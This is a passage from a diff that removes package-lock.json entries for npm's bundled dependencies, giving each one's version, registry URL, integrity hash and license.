"node_modules/npm/node_modules/is-stream": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", - "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/is-typedarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", - "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/isarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/isstream": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", - "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/jsbn": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", - "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true - }, - "node_modules/npm/node_modules/json-parse-better-errors": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", - "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/json-schema": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz", - "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=", - "dev": true, - "inBundle": true - }, - "node_modules/npm/node_modules/json-stable-stringify": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-1.0.1.tgz", - "integrity": "sha1-mnWdOcXy/1A/1TAGRu1EX4jE+a8=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "jsonify": "~0.0.0" - } - }, - "node_modules/npm/node_modules/json-stringify-safe": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", - "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/jsonify": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/jsonify/-/jsonify-0.0.0.tgz", - "integrity": "sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM=", - "dev": true, - "inBundle": true, - "license": "Public Domain" - }, - "node_modules/npm/node_modules/jsonparse": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz", - "integrity": "sha1-P02uSpH6wxX3EGL4UhzCOfE2YoA=", - "dev": true, - "engines": [ - "node >= 0.2.0" - ], - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/JSONStream": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.3.tgz", - "integrity": "sha512-3Sp6WZZ/lXl+nTDoGpGWHEpTnnC6X5fnkolYZR6nwIfzbxxvA8utPWe1gCt7i0m9uVGsSz2IS8K8mJ7HmlduMg==", - "dev": true, - "inBundle": true, - "license": "(MIT OR Apache-2.0)", - "dependencies": { - "jsonparse": "^1.2.0", - "through": ">=2.2.7 <3" - }, - "bin": { - "JSONStream": "bin.js" - }, - "engines": { - "node": "*" - } - }, - "node_modules/npm/node_modules/jsprim": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz", - "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=", - "dev": true, - "engines": [ - "node >=0.6.0" - ], - "inBundle": true, - "license": "MIT", - "dependencies": { - "assert-plus": "1.0.0", - "extsprintf": "1.3.0", - "json-schema": "0.2.3", - "verror": "1.10.0" - } - }, - "node_modules/npm/node_modules/jsprim/node_modules/assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.8" - } - }, - "node_modules/npm/node_modules/latest-version": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/latest-version/-/latest-version-3.1.0.tgz", - "integrity": "sha1-ogU4P+oyKzO1rjsYq+4NwvNW7hU=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "package-json": "^4.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/lazy-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/lazy-property/-/lazy-property-1.0.0.tgz", - "integrity": "sha1-hN3Es3Bnm6i9TNz6TAa0PVcREUc=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/lcid": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz", - "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "invert-kv": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/libcipm": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/libcipm/-/libcipm-2.0.0.tgz", - "integrity": "sha512-yTWR7Ch7Mg891KZj+1yhcWhztO6tuAcBLdmCvBXv2pbCzV5/DOEDjDQdZmmYn5mFwI96kOSu+OIMRTmLsxrNZw==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "bin-links": "^1.1.2", - "bluebird": "^3.5.1", - "find-npm-prefix": "^1.0.2", - "graceful-fs": "^4.1.11", - "lock-verify": "^2.0.2", - "npm-lifecycle": "^2.0.3", - "npm-logical-tree": "^1.2.1", - "npm-package-arg": "^6.1.0", - "pacote": "^8.1.6", - "protoduck": "^5.0.0", - "read-package-json": "^2.0.13", - "rimraf": "^2.6.2", - "worker-farm": "^1.6.0" - } - }, - "node_modules/npm/node_modules/libnpmhook": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/libnpmhook/-/libnpmhook-4.0.1.tgz", - "integrity": "sha512-3qqpfqvBD1712WA6iGe0stkG40WwAeoWcujA6BlC0Be1JArQbqwabnEnZ0CRcD05Tf1fPYJYdCbSfcfedEJCOg==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "figgy-pudding": "^3.1.0", - "npm-registry-fetch": "^3.0.0" - } - }, - "node_modules/npm/node_modules/libnpmhook/node_modules/npm-registry-fetch": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/npm-registry-fetch/-/npm-registry-fetch-3.1.1.tgz", - "integrity": "sha512-xBobENeenvjIG8PgQ1dy77AXTI25IbYhmA3DusMIfw/4EL5BaQ5e1V9trkPrqHvyjR3/T0cnH6o0Wt/IzcI5Ag==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "bluebird": "^3.5.1", - "figgy-pudding": "^3.1.0", - "lru-cache": "^4.1.2", - "make-fetch-happen": "^4.0.0", - "npm-package-arg": "^6.0.0" - } - }, - "node_modules/npm/node_modules/libnpx": { - "version": "10.2.0", - "resolved": "https://registry.npmjs.org/libnpx/-/libnpx-10.2.0.tgz", - "integrity": "sha512-X28coei8/XRCt15cYStbLBph+KGhFra4VQhRBPuH/HHMkC5dxM8v24RVgUsvODKCrUZ0eTgiTqJp6zbl0sskQQ==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "dotenv": "^5.0.1", - "npm-package-arg": "^6.0.0", - "rimraf": "^2.6.2", - "safe-buffer": "^5.1.0", - "update-notifier": "^2.3.0", - "which": "^1.3.0", - "y18n": "^4.0.0", - "yargs": "^11.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/locate-path": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz", - "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "p-locate": "^2.0.0", - "path-exists": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/lock-verify": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/lock-verify/-/lock-verify-2.0.2.tgz", - "integrity": "sha512-QNVwK0EGZBS4R3YQ7F1Ox8p41Po9VGl2QG/2GsuvTbkJZYSsPeWHKMbbH6iZMCHWSMww5nrJroZYnGzI4cePuw==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "npm-package-arg": "^5.1.2 || 6", - "semver": "^5.4.1" - } - }, - "node_modules/npm/node_modules/lockfile": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/lockfile/-/lockfile-1.0.4.tgz", - "integrity": "sha512-cvbTwETRfsFh4nHsL1eGWapU1XFi5Ot9E85sWAwia7Y7EgB7vfqcZhTKZ+l7hCGxSPoushMv5GKhT5PdLv03WA==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "signal-exit": "^3.0.2" - } - }, - "node_modules/npm/node_modules/lodash._baseindexof": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/lodash._baseindexof/-/lodash._baseindexof-3.1.0.tgz", - "integrity": "sha1-/lK1OhxnYeQmGNZU5KJXie1hgiw=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/lodash._baseuniq": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/lodash._baseuniq/-/lodash._baseuniq-4.6.0.tgz", - "integrity": "sha1-DrtE5FaBSveQXGIS+iybLVG4Qeg=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "lodash._createset": "~4.0.0", - "lodash._root": "~3.0.0" - } - }, - "node_modules/npm/node_modules/lodash._bindcallback": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/lodash._bindcallback/-/lodash._bindcallback-3.0.1.tgz", - "integrity": "sha1-5THCdkTPi1epnhftlbNcdIeJOS4=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/lodash._cacheindexof": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/lodash._cacheindexof/-/lodash._cacheindexof-3.0.2.tgz", - "integrity": "sha1-PcaayCSY0u5ePOVgkbr9Ktx73pI=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/lodash._createcache": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/lodash._createcache/-/lodash._createcache-3.1.2.tgz", - "integrity": "sha1-VtagZAF2JeeevKa4AY4XRAvc8JM=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "lodash._getnative": "^3.0.0" - } - }, - "node_modules/npm/node_modules/lodash._createset": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/lodash._createset/-/lodash._createset-4.0.3.tgz", - "integrity": "sha1-D0ZZ+7CddRlPqeK4imZE02PJ/iY=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/lodash._getnative": { - "version": "3.9.1", - "resolved": "https://registry.npmjs.org/lodash._getnative/-/lodash._getnative-3.9.1.tgz", - "integrity": "sha1-VwvH3t5G1hzc3mh9ZdPuy6o6r/U=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/lodash._root": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/lodash._root/-/lodash._root-3.0.1.tgz", - "integrity": "sha1-+6HEUkwZ7ppfgTa0YJ8BfPTe1pI=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/lodash.clonedeep": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", - "integrity": "sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/lodash.restparam": { - "version": "3.6.1", - "resolved": "https://registry.npmjs.org/lodash.restparam/-/lodash.restparam-3.6.1.tgz", - "integrity": "sha1-k2pOMJ7zMKdkXtQUWYbIWuWyCAU=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/lodash.union": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz", - "integrity": "sha1-SLtQiECfFvGCFmZkHETdGqrjzYg=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/lodash.uniq": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", - "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/lodash.without": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/lodash.without/-/lodash.without-4.4.0.tgz", - "integrity": "sha1-PNRXSgC2e643OpS3SHcmQFB7eqw=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/lowercase-keys": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz", - "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/lru-cache": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.3.tgz", - "integrity": "sha512-fFEhvcgzuIoJVUF8fYr5KR0YqxD238zgObTps31YdADwPPAp82a4M8TrckkWyx7ekNlf9aBcVn81cFwwXngrJA==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "pseudomap": "^1.0.2", - "yallist": "^2.1.2" - } - }, - "node_modules/npm/node_modules/make-dir": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-1.3.0.tgz", - "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "pify": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/make-fetch-happen": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-4.0.1.tgz", - "integrity": "sha512-7R5ivfy9ilRJ1EMKIOziwrns9fGeAD4bAha8EB7BIiBBLHm2KeTUGCrICFt2rbHfzheTLynv50GnNTK1zDTrcQ==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "agentkeepalive": "^3.4.1", - "cacache": "^11.0.1", - "http-cache-semantics": "^3.8.1", - "http-proxy-agent": "^2.1.0", - "https-proxy-agent": "^2.2.1", - "lru-cache": "^4.1.2", - "mississippi": "^3.0.0", - "node-fetch-npm": "^2.0.2", - "promise-retry": "^1.1.1", - "socks-proxy-agent": "^4.0.0", - "ssri": "^6.0.0" - } - }, - "node_modules/npm/node_modules/meant": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/meant/-/meant-1.0.1.tgz", - "integrity": "sha512-UakVLFjKkbbUwNWJ2frVLnnAtbb7D7DsloxRd3s/gDpI8rdv8W5Hp3NaDb+POBI1fQdeussER6NB8vpcRURvlg==", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/mem": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/mem/-/mem-1.1.0.tgz", - "integrity": "sha1-Xt1StIXKHZAP5kiVUFOZoN+kX3Y=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "mimic-fn": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/mime-db": { - "version": "1.33.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.33.0.tgz", - "integrity": "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ==", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/npm/node_modules/mime-types": { - "version": "2.1.18", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.18.tgz", - "integrity": "sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "mime-db": "~1.33.0" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/npm/node_modules/mimic-fn": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-1.2.0.tgz", - "integrity": "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/minimatch": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, - "node_modules/npm/node_modules/minimist": { - "version": "0.0.8", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz", - "integrity": "sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/minipass": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-2.3.3.tgz", - "integrity": "sha512-/jAn9/tEX4gnpyRATxgHEOV6xbcyxgT7iUnxo9Y3+OB0zX00TgKIv/2FZCf5brBbICcwbLqVv2ImjvWWrQMSYw==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "safe-buffer": "^5.1.2", - "yallist": "^3.0.0" - } - }, - "node_modules/npm/node_modules/minipass/node_modules/yallist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.0.2.tgz", - "integrity": "sha1-hFK0u36Dx8GI2AQcGoN8dz1ti7k=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/minizlib": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-1.1.0.tgz", - "integrity": "sha512-4T6Ur/GctZ27nHfpt9THOdRZNgyJ9FZchYO1ceg5S8Q3DNLCKYy44nCZzgCJgcvx2UM8czmqak5BCxJMrq37lA==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "minipass": "^2.2.1" - } - }, - "node_modules/npm/node_modules/mississippi": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz", - "integrity": "sha512-x471SsVjUtBRtcvd4BzKE9kFC+/2TeWgKCgw0bZcw1b9l2X3QX5vCWgF+KaZaYm87Ss//rHnWryupDrgLvmSkA==", - "dev": true, - "inBundle": true, - "license": "BSD-2-Clause", - "dependencies": { - "concat-stream": "^1.5.0", - "duplexify": "^3.4.2", - "end-of-stream": "^1.1.0", - "flush-write-stream": "^1.0.0", - "from2": "^2.1.0", - "parallel-transform": "^1.1.0", - "pump": "^3.0.0", - "pumpify": "^1.3.3", - "stream-each": "^1.1.0", - "through2": "^2.0.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/npm/node_modules/mkdirp": { - "version": "0.5.1", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz", - "integrity": "sha1-MAV0OOrGz3+MR2fzhkjWaX11yQM=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "minimist": "0.0.8" - }, - "bin": { - "mkdirp": "bin/cmd.js" - } - }, - "node_modules/npm/node_modules/move-concurrently": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/move-concurrently/-/move-concurrently-1.0.1.tgz", - "integrity": "sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "aproba": "^1.1.1", - "copy-concurrently": "^1.0.0", - "fs-write-stream-atomic": "^1.0.8", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.3" - } - }, - "node_modules/npm/node_modules/ms": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", - "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/mute-stream": { - "version": "0.0.7", - "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.7.tgz", - "integrity": "sha1-MHXOk7whuPq0PhvE2n6BFe0ee6s=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/node-fetch-npm": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/node-fetch-npm/-/node-fetch-npm-2.0.2.tgz", - "integrity": "sha512-nJIxm1QmAj4v3nfCvEeCrYSoVwXyxLnaPBK5W1W5DGEJwjlKuC2VEUycGw5oxk+4zZahRrB84PUJJgEmhFTDFw==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "encoding": "^0.1.11", - "json-parse-better-errors": "^1.0.0", - "safe-buffer": "^5.1.1" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/node-gyp": { - "version": "3.7.0", - "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.7.0.tgz", - "integrity": "sha512-qDQE/Ft9xXP6zphwx4sD0t+VhwV7yFaloMpfbL2QnnDZcyaiakWlLdtFGGQfTAwpFHdpbRhRxVhIHN1OKAjgbg==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "fstream": "^1.0.0", - "glob": "^7.0.3", - "graceful-fs": "^4.1.2", - "mkdirp": "^0.5.0", - "nopt": "2 || 3", - "npmlog": "0 || 1 || 2 || 3 || 4", - "osenv": "0", - "request": ">=2.9.0 <2.82.0", - "rimraf": "2", - "semver": "~5.3.0", - "tar": "^2.0.0", - "which": "1" - }, - "bin": { - "node-gyp": "bin/node-gyp.js" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/npm/node_modules/node-gyp/node_modules/nopt": { - "version": "3.0.6", - "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz", - "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "abbrev": "1" - }, - "bin": { - "nopt": "bin/nopt.js" - } - }, - "node_modules/npm/node_modules/node-gyp/node_modules/semver": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.3.0.tgz", - "integrity": "sha1-myzl094C0XxgEq0yaqa00M9U+U8=", - "dev": true, - "inBundle": true, - "license": "ISC", - "bin": { - "semver": "bin/semver" - } - }, - "node_modules/npm/node_modules/node-gyp/node_modules/tar": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/tar/-/tar-2.2.1.tgz", - "integrity": "sha1-jk0qJWwOIYXGsYrWlK7JaLg8sdE=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "block-stream": "*", - "fstream": "^1.0.2", - "inherits": "2" - } - }, - "node_modules/npm/node_modules/nopt": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/nopt/-/nopt-4.0.1.tgz", - "integrity": "sha1-0NRoWv1UFRk8jHUFYC0NF81kR00=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "abbrev": "1", - "osenv": "^0.1.4" - }, - "bin": { - "nopt": "bin/nopt.js" - } - }, - "node_modules/npm/node_modules/normalize-package-data": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz", - "integrity": "sha512-9jjUFbTPfEy3R/ad/2oNbKtW9Hgovl5O1FvFWKkKblNXoN/Oou6+9+KKohPK13Yc3/TyunyWhJp6gvRNR/PPAw==", - "dev": true, - "inBundle": true, - "license": "BSD-2-Clause", - "dependencies": { - "hosted-git-info": "^2.1.4", - "is-builtin-module": "^1.0.0", - "semver": "2 || 3 || 4 || 5", - "validate-npm-package-license": "^3.0.1" - } - }, - "node_modules/npm/node_modules/npm-audit-report": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/npm-audit-report/-/npm-audit-report-1.3.1.tgz", - "integrity": "sha512-SjTF8ZP4rOu3JiFrTMi4M1CmVo2tni2sP4TzhyCMHwnMGf6XkdGLZKt9cdZ12esKf0mbQqFyU9LtY0SoeahL7g==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "cli-table3": "^0.5.0", - "console-control-strings": "^1.1.0" - } - }, - "node_modules/npm/node_modules/npm-bundled": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/npm-bundled/-/npm-bundled-1.0.3.tgz", - "integrity": "sha512-ByQ3oJ/5ETLyglU2+8dBObvhfWXX8dtPZDMePCahptliFX2iIuhyEszyFk401PZUNQH20vvdW5MLjJxkwU80Ow==", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/npm-cache-filename": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/npm-cache-filename/-/npm-cache-filename-1.0.2.tgz", - "integrity": "sha1-3tMGxbC/yHCp6fr4I7xfKD4FrhE=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/npm-install-checks": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/npm-install-checks/-/npm-install-checks-3.0.0.tgz", - "integrity": "sha1-1K7N/VGlPjcjt7L5Oy7ijjB7wNc=", - "dev": true, - "inBundle": true, - "license": "BSD-2-Clause", - "dependencies": { - "semver": "^2.3.0 || 3.x || 4 || 5" - } - }, - "node_modules/npm/node_modules/npm-lifecycle": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/npm-lifecycle/-/npm-lifecycle-2.0.3.tgz", - "integrity": "sha512-0U4Iim5ix2NHUT672G7FBpldJX0N2xKBjJqRTAzioEJjb6I6KpQXq+y1sB5EDSjKaAX8VCC9qPK31Jy+p3ix5A==", - "dev": true, - "inBundle": true, - "license": "Artistic-2.0", - "dependencies": { - "byline": "^5.0.0", - "graceful-fs": "^4.1.11", - "node-gyp": "^3.6.2", - "resolve-from": "^4.0.0", - "slide": "^1.1.6", - "uid-number": "0.0.6", - "umask": "^1.1.0", - "which": "^1.3.0" - } - }, - "node_modules/npm/node_modules/npm-logical-tree": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/npm-logical-tree/-/npm-logical-tree-1.2.1.tgz", - "integrity": "sha512-AJI/qxDB2PWI4LG1CYN579AY1vCiNyWfkiquCsJWqntRu/WwimVrC8yXeILBFHDwxfOejxewlmnvW9XXjMlYIg==", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/npm-package-arg": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/npm-package-arg/-/npm-package-arg-6.1.0.tgz", - "integrity": "sha512-zYbhP2k9DbJhA0Z3HKUePUgdB1x7MfIfKssC+WLPFMKTBZKpZh5m13PgexJjCq6KW7j17r0jHWcCpxEqnnncSA==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "hosted-git-info": "^2.6.0", - "osenv": "^0.1.5", - "semver": "^5.5.0", - "validate-npm-package-name": "^3.0.0" - } - }, - "node_modules/npm/node_modules/npm-packlist": { - "version": "1.1.10", - "resolved": "https://registry.npmjs.org/npm-packlist/-/npm-packlist-1.1.10.tgz", - "integrity": "sha512-AQC0Dyhzn4EiYEfIUjCdMl0JJ61I2ER9ukf/sLxJUcZHfo+VyEfz2rMJgLZSS1v30OxPQe1cN0LZA1xbcaVfWA==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "ignore-walk": "^3.0.1", - "npm-bundled": "^1.0.1" - } - }, - 